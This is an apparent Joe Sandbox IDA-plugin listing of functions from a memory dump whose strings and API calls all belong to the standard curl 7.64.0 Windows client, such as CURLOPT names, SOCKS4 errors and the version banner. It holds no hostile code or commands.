%255[^:]:%d, xrefs: 00DEE084
Couldn't parse CURLOPT_RESOLVE entry '%s'!, xrefs: 00DEE443
Added %s:%d:%s to DNS cache, xrefs: 00DEE3C6

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: sscanfstrlen
String ID: %255[^:]:%d$%s:%d$*$@*2v$Added %s:%d:%s to DNS cache$Couldn't parse CURLOPT_RESOLVE entry '%s'!$Couldn't parse CURLOPT_RESOLVE removal entry '%s'!$RESOLVE %s:%d is - old addresses discarded!$RESOLVE %s:%d is wildcard, enabling wildcard checks$Resolve address '%s' found illegal!
API String ID: 2693918933-379852540
Opcode ID: 583d35344cee85feaf72b45498f756ca94ec8656a5c58fbc4bac0f4114f43aab
Instruction ID: eaf2f9f930ebbe67cde1da82987c20eb945466232848c05ed784e8846e6f3796
Opcode Fuzzy Hash: 583d35344cee85feaf72b45498f756ca94ec8656a5c58fbc4bac0f4114f43aab
Instruction Fuzzy Hash: FEB10BB1904385ABDB21BF62DC85B6B77A89F50704F0C4838FD889A286E775C954C7B3

Function 00DD0260 Relevance: 36.2, APIs: 9, Strings: 15, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DD029F
strcmp.MSVCRT ref: 00DD02B5
strcmp.MSVCRT ref: 00DD02CB
strcmp.MSVCRT ref: 00DD02E1
strcmp.MSVCRT ref: 00DD02F7
strcmp.MSVCRT ref: 00DD030D
strcmp.MSVCRT ref: 00DD0323
strcmp.MSVCRT ref: 00DD0339
free.MSVCRT ref: 00DD04BD

Strings

objectpointer, xrefs: 00DD040E, 00DD04A0
CURLOPT_TCP_NODELAY, xrefs: 00DD02F1
CURLOPT_SSL_VERIFYHOST, xrefs: 00DD02AF
CURLOPT_SSL_ENABLE_ALPN, xrefs: 00DD02DB
CURLOPT_SSL_VERIFYPEER, xrefs: 00DD0299
CURLOPT_SSL_ENABLE_NPN, xrefs: 00DD02C5
CURLOPT_PROXY_SSL_VERIFYHOST, xrefs: 00DD031D
%s set to a %s, xrefs: 00DD04A8
functionpointer, xrefs: 00DD037E
CURLOPT_SOCKS5_AUTH, xrefs: 00DD0333
curl_easy_setopt(hnd, %s, %s);, xrefs: 00DD0510
%ldL, xrefs: 00DD0456
(curl_off_t)%I64d, xrefs: 00DD039E
CURLOPT_PROXY_SSL_VERIFYPEER, xrefs: 00DD0307
curl_easy_setopt(hnd, %s, "%s");, xrefs: 00DD04F0

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strcmp$free
String ID: %ldL$%s set to a %s$(curl_off_t)%I64d$CURLOPT_PROXY_SSL_VERIFYHOST$CURLOPT_PROXY_SSL_VERIFYPEER$CURLOPT_SOCKS5_AUTH$CURLOPT_SSL_ENABLE_ALPN$CURLOPT_SSL_ENABLE_NPN$CURLOPT_SSL_VERIFYHOST$CURLOPT_SSL_VERIFYPEER$CURLOPT_TCP_NODELAY$curl_easy_setopt(hnd, %s, "%s");$curl_easy_setopt(hnd, %s, %s);$functionpointer$objectpointer
API String ID: 3401341699-411265327
Opcode ID: df88ae7c83961ea648bf8210046dcc52bc750a629ff01ad1a74b24ff1352e4bc
Instruction ID: 3691a59af931c8fdc10d04e1db4a0eea5799718cccd765efc10e74ad00081508
Opcode Fuzzy Hash: df88ae7c83961ea648bf8210046dcc52bc750a629ff01ad1a74b24ff1352e4bc
Instruction Fuzzy Hash: B75114B1B08301ABDB206A659D41FAB7A8C9FD4344F09403EFEC897341EA71DD1082B2

Function 00DCE218 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 245fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD10E0: _strdup.MSVCRT(?), ref: 00DD1316

free.MSVCRT ref: 00DCA201
fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
_strdup.MSVCRT(?), ref: 00DCA7DE
fwrite.MSVCRT ref: 00DCAA42
fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
_close.MSVCRT ref: 00DCB145
free.MSVCRT ref: 00DCE274
free.MSVCRT ref: 00DCE305
free.MSVCRT ref: 00DCE32F
free.MSVCRT ref: 00DCE341
free.MSVCRT ref: 00DCE353

Strings

t70, xrefs: 00DCB183
(%d) Failed writing body, xrefs: 00DCAFC9
P"-, xrefs: 00DCE318
<, xrefs: 00DCAA4A
curl: (%d) %s, xrefs: 00DCAA19
More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione, xrefs: 00DCAA3D

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_strdupfclose$_closefwrite
String ID: (%d) Failed writing body$<$More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione$P"-$curl: (%d) %s$t70
API String ID: 3760120566-2420039810
Opcode ID: 57dc05096fb77b88bd4da01e039aa17f7652d70cfca3f38a5232cdf314223502
Instruction ID: 53bd034e8cfcc9dcfae023a859589dccdd8030b0fdd2546b65b6ff97e2de8e81
Opcode Fuzzy Hash: 57dc05096fb77b88bd4da01e039aa17f7652d70cfca3f38a5232cdf314223502
Instruction Fuzzy Hash: 5C916DF16083429FEB209F24C885B5BB7E5AFA0318F18882DF48997250D775D948DFA3

Function 00DC2F90 Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 131stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DC2F9A
_strdup.MSVCRT(?), ref: 00DC2FA5
malloc.MSVCRT ref: 00DC2FC0
strtok.MSVCRT(00000000,0105262C), ref: 00DC2FDB
strtok.MSVCRT(00000000,0105262C), ref: 00DC2FF4
strlen.MSVCRT ref: 00DC3023
_mkdir.MSVCRT ref: 00DC306D
_errno.MSVCRT ref: 00DC307A
strtok.MSVCRT(00000000,0105262C), ref: 00DC308C
free.MSVCRT ref: 00DC30A0
free.MSVCRT ref: 00DC30A9
_errno.MSVCRT ref: 00DC30BB

Strings

The directory name %s is too long., xrefs: 00DC3102
Cannot create directory %s because you exceeded your quota., xrefs: 00DC30E2
You don't have permission to create %s., xrefs: 00DC30D3
No space left on the file system that will contain the directory %s., xrefs: 00DC30F2
Error creating directory %s., xrefs: 00DC30EA
%s resides on a read-only file system., xrefs: 00DC30FA
%s%s, xrefs: 00DC303C, 00DC305D

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strtok$_errnofreestrlen$_mkdir_strdupmalloc
String ID: %s resides on a read-only file system.$%s%s$Cannot create directory %s because you exceeded your quota.$Error creating directory %s.$No space left on the file system that will contain the directory %s.$The directory name %s is too long.$You don't have permission to create %s.
API String ID: 1120732356-1086585624
Opcode ID: 03edab860d66b908af7cde11f1f8fd33b21ceff7371c27252e979b9135ea51f7
Instruction ID: 9309ba5922e69ac8d50bd6062d07d9c62a2b7c2ac75b83ff696413884765a0bb
Opcode Fuzzy Hash: 03edab860d66b908af7cde11f1f8fd33b21ceff7371c27252e979b9135ea51f7
Instruction Fuzzy Hash: 59319FE6A04242BBEB116A615C85F7B7A688F79B54F08403DFC859B201F6519E04A2B3

Function 00E06CE0 Relevance: 31.8, APIs: 6, Strings: 15, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00E06DBE

Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7002
Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7039

memcpy.MSVCRT(?,?,00000001), ref: 00E06EA9
strlen.MSVCRT ref: 00E06EB2
strlen.MSVCRT ref: 00E06ED1
strcpy.MSVCRT(?,?), ref: 00E06EED
strlen.MSVCRT ref: 00E06F2D

Strings

Failed to resolve "%s" for SOCKS4 connect., xrefs: 00E06FDC
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 00E07102
SOCKS4 connect to IPv4 %s (locally resolved), xrefs: 00E06E83
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 00E070D2
SOCKS4%s request granted., xrefs: 00E07026
Connection time-out, xrefs: 00E06DDB
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 00E0706F
SOCKS4 connection to %s not supported, xrefs: 00E06FBE
SOCKS4 reply has wrong version, version should be 4., xrefs: 00E06F90
Failed to receive SOCKS4 connect request ack., xrefs: 00E06FA5
Too long SOCKS proxy name, can't use!, xrefs: 00E06DD1
SOCKS4 communication to %s:%d, xrefs: 00E06D73
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 00E070A2
Failed to send SOCKS4 connect request., xrefs: 00E06F97
SOCKS4%s: connecting to HTTP proxy %s port %d, xrefs: 00E06D44

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$memcpystrcpy
String ID: Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to IPv4 %s (locally resolved)$SOCKS4 connection to %s not supported$SOCKS4 reply has wrong version, version should be 4.$SOCKS4%s request granted.$SOCKS4%s: connecting to HTTP proxy %s port %d$Too long SOCKS proxy name, can't use!
API String ID: 2802800850-2867532396
Opcode ID: 6cbc65b98978260d37a60abcb23123d737aefcc37f5b811e12afc2fa3d5c96ba
Instruction ID: df2db6ffed6d3a52ade1b8b309cb7f325251025472bb627718fa481f53a3aea6
Opcode Fuzzy Hash: 6cbc65b98978260d37a60abcb23123d737aefcc37f5b811e12afc2fa3d5c96ba
Instruction Fuzzy Hash: F7B12AB1A0C3956BD7219E21AC41FFB7EE9DFD2309F08446DF8C856282E5219958D3B3

Function 00DCCED8 Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 176fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00DCAA42
fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
_close.MSVCRT ref: 00DCB145
free.MSVCRT ref: 00DCCEDC

Strings

t70, xrefs: 00DCB183
(%d) Failed writing body, xrefs: 00DCAFC9
Hj, xrefs: 00DCADB6
P"-, xrefs: 00DCE318

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_closefclosefwrite
String ID: (%d) Failed writing body$P"-$t70$Hj
API String ID: 4020199869-2496123061
Opcode ID: 45f8673459748bc938d669b5d52cf8783401fbd54b7f0979eca41a0a040abb5e
Instruction ID: 95088f6749d98b8953d66095e4b1af727b7a911055453dee4f15a6211866da8e
Opcode Fuzzy Hash: 45f8673459748bc938d669b5d52cf8783401fbd54b7f0979eca41a0a040abb5e
Instruction Fuzzy Hash: D3717EF06083428BEB209F64D945B5BF7E4AFA0318F18482DE49957290D776E848DF63

Function 00DC3A40 Relevance: 28.2, APIs: 3, Strings: 13, Instructions: 238filestringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00DC3A51
fopen.MSVCRT ref: 00DC3A68
fclose.MSVCRT ref: 00DC3C98

Strings

%s, xrefs: 00DC3A8E, 00DC3AA1, 00DC3AB4, 00DC3AC7, 00DC3ADA, 00DC3AED, 00DC3B00, 00DC3B13, 00DC3B26, 00DC3B39, 00DC3C4C, 00DC3C5F, 00DC3C72, 00DC3C85
int main(int argc, char *argv[]), xrefs: 00DC3AFB
%s, xrefs: 00DC3B62, 00DC3BA2, 00DC3BE1, 00DC3C32
return (int)ret;, xrefs: 00DC3C5A
#include <curl/curl.h>, xrefs: 00DC3AD5
CURLcode ret;, xrefs: 00DC3B21
* All curl_easy_setopt() options are documented at:, xrefs: 00DC3A9C
Failed to open %s to write libcurl code!, xrefs: 00DC3CA3
* https://curl.haxx.se/libcurl/c/curl_easy_setopt.html, xrefs: 00DC3AAF
CURL *hnd;, xrefs: 00DC3B34
/**** End of sample code ****/, xrefs: 00DC3C80
************************************************************************/, xrefs: 00DC3AC2
/********* Sample code generated by the curl command line tool **********, xrefs: 00DC3A89

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fclosefopenstrcmp
String ID: %s$ CURL *hnd;$ CURLcode ret;$ return (int)ret;$ * All curl_easy_setopt() options are documented at:$ * https://curl.haxx.se/libcurl/c/curl_easy_setopt.html$ ************************************************************************/$#include <curl/curl.h>$%s$/**** End of sample code ****/$/********* Sample code generated by the curl command line tool **********$Failed to open %s to write libcurl code!$int main(int argc, char *argv[])
API String ID: 3326340520-4013719026
Opcode ID: b0a57aa0c9fe8a57a16f83bd381819dc9d7d6f59e172f478b12cb26d07979ab0
Instruction ID: 3268b993bd1f1f2eb2e465e2853af04dc790835976dbdf8460e93d7d8c872b53
Opcode Fuzzy Hash: b0a57aa0c9fe8a57a16f83bd381819dc9d7d6f59e172f478b12cb26d07979ab0
Instruction Fuzzy Hash: 3A51A1A5B42311BBDBA1AF52ED83F6B76189F11744F08003CFD442A307EA55DB1856B7

Function 00DC9480 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00DD1AF0: strlen.MSVCRT ref: 00DD1B32

printf.MSVCRT ref: 00DC948C
printf.MSVCRT ref: 00DC949E
printf.MSVCRT ref: 00DC94B6
printf.MSVCRT ref: 00DC94D6
putchar.MSVCRT(0000000A), ref: 00DC94E9
printf.MSVCRT ref: 00DC9501
printf.MSVCRT ref: 00DC952B
putchar.MSVCRT(0000000A), ref: 00DC953A

Strings

curl 7.64.0 (i386-pc-win32) %s, xrefs: 00DC9487
2019-02-06, xrefs: 00DC9494
b=(, xrefs: 00DC9501
Release-Date: %s, xrefs: 00DC9499
Protocols: , xrefs: 00DC94B1
Features: , xrefs: 00DC94FC
%s , xrefs: 00DC94D1, 00DC9526

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: printf$putchar$strlen
String ID: %s $2019-02-06$Features: $Protocols: $Release-Date: %s$curl 7.64.0 (i386-pc-win32) %s$b=(
API String ID: 348636431-1300552597
Opcode ID: c64451a081df354176e0b5e7d6f7482a63af6a632e75df3ba45d5157e7c121f7
Instruction ID: cf067e100b1e094fb027686f900e7dc59171a08deacb5c762849278c8a03d8b7
Opcode Fuzzy Hash: c64451a081df354176e0b5e7d6f7482a63af6a632e75df3ba45d5157e7c121f7
Instruction Fuzzy Hash: 5211A5F5F44303EBDB64AAA4EEC6F56F2906B30710F090178EC995B280F661E914C772

Function 00DCBCD0 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 173COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCA201
fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
_close.MSVCRT ref: 00DCB145
free.MSVCRT ref: 00DCE274

Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD029F
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02B5
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02CB
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02E1
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02F7
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD030D
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD0323
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD0339

free.MSVCRT ref: 00DCE305
free.MSVCRT ref: 00DCE32F
free.MSVCRT ref: 00DCE341
free.MSVCRT ref: 00DCE353

Part of subcall function 00DD0260: free.MSVCRT ref: 00DD04BD

Strings

CURLOPT_TRANSFER_ENCODING, xrefs: 00DCBD95
CURLOPT_HTTP_VERSION, xrefs: 00DCBCD9
CURLOPT_ACCEPT_ENCODING, xrefs: 00DCBD61
P"-, xrefs: 00DCE318
CURLOPT_POSTREDIR, xrefs: 00DCBD2A
CURLOPT_HTTP09_ALLOWED, xrefs: 00DCBDC7

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$strcmp$fclose$_close
String ID: CURLOPT_ACCEPT_ENCODING$CURLOPT_HTTP09_ALLOWED$CURLOPT_HTTP_VERSION$CURLOPT_POSTREDIR$CURLOPT_TRANSFER_ENCODING$P"-
API String ID: 3512857261-33808006
Opcode ID: 279d3a0e966cf269ecad86c21d7879ff1aa0ff53ae4e47e0815dba3c2dfc795f
Instruction ID: 1d8fa5fa580c95696a2a7c7c9adfddd590ad3a5bb184a59840b7c6af810e3da8
Opcode Fuzzy Hash: 279d3a0e966cf269ecad86c21d7879ff1aa0ff53ae4e47e0815dba3c2dfc795f
Instruction Fuzzy Hash: D06171F1604342ABEB209B14CC46F5BB7E5AF90708F08892DF489AB251E771DD44DB63

Function 00DC25E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

_fileno.MSVCRT ref: 00DC2653
_isatty.MSVCRT ref: 00DC265C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00DC2679
malloc.MSVCRT ref: 00DC2689
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 00DC26A9
_fileno.MSVCRT ref: 00DC26C4
_get_osfhandle.MSVCRT ref: 00DC26CD
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00DC26E0
free.MSVCRT ref: 00DC26E9

Part of subcall function 00DC2510: fopen.MSVCRT ref: 00DC2536
Part of subcall function 00DC2510: fclose.MSVCRT ref: 00DC2543
Part of subcall function 00DC2510: strerror.MSVCRT ref: 00DC254F

fwrite.MSVCRT ref: 00DC270A
fflush.MSVCRT ref: 00DC2755
free.MSVCRT ref: 00DC2766

Strings

Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file., xrefs: 00DC2788

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ByteCharMultiWide_filenofree$ConsoleWrite_get_osfhandle_isattyfclosefflushfopenfwritemallocstrerror
String ID: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
API String ID: 3196308202-3734715646
Opcode ID: c92be6561e71584bf183187bdc5b1915f7187296f26bb32f259f3f2c6af04721
Instruction ID: 1fe283d5333ba429dbdc3b225bca25a168d7606a788cc6a2f6499094590de887
Opcode Fuzzy Hash: c92be6561e71584bf183187bdc5b1915f7187296f26bb32f259f3f2c6af04721
Instruction Fuzzy Hash: 374116B5600302EBD7119B60DD85F6BBAA8EF54314F09043CEC8897291E631ED54C7B2

Function 00DF4A40 Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 242stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DF4C13

Strings

%sAuthorization: Basic %s, xrefs: 00DF4C64
Digest, xrefs: 00DF4ADF
Proxy, xrefs: 00DF4CD0
Proxy-, xrefs: 00DF4C53
Basic, xrefs: 00DF4CA7
Authorization, xrefs: 00DF4B5B
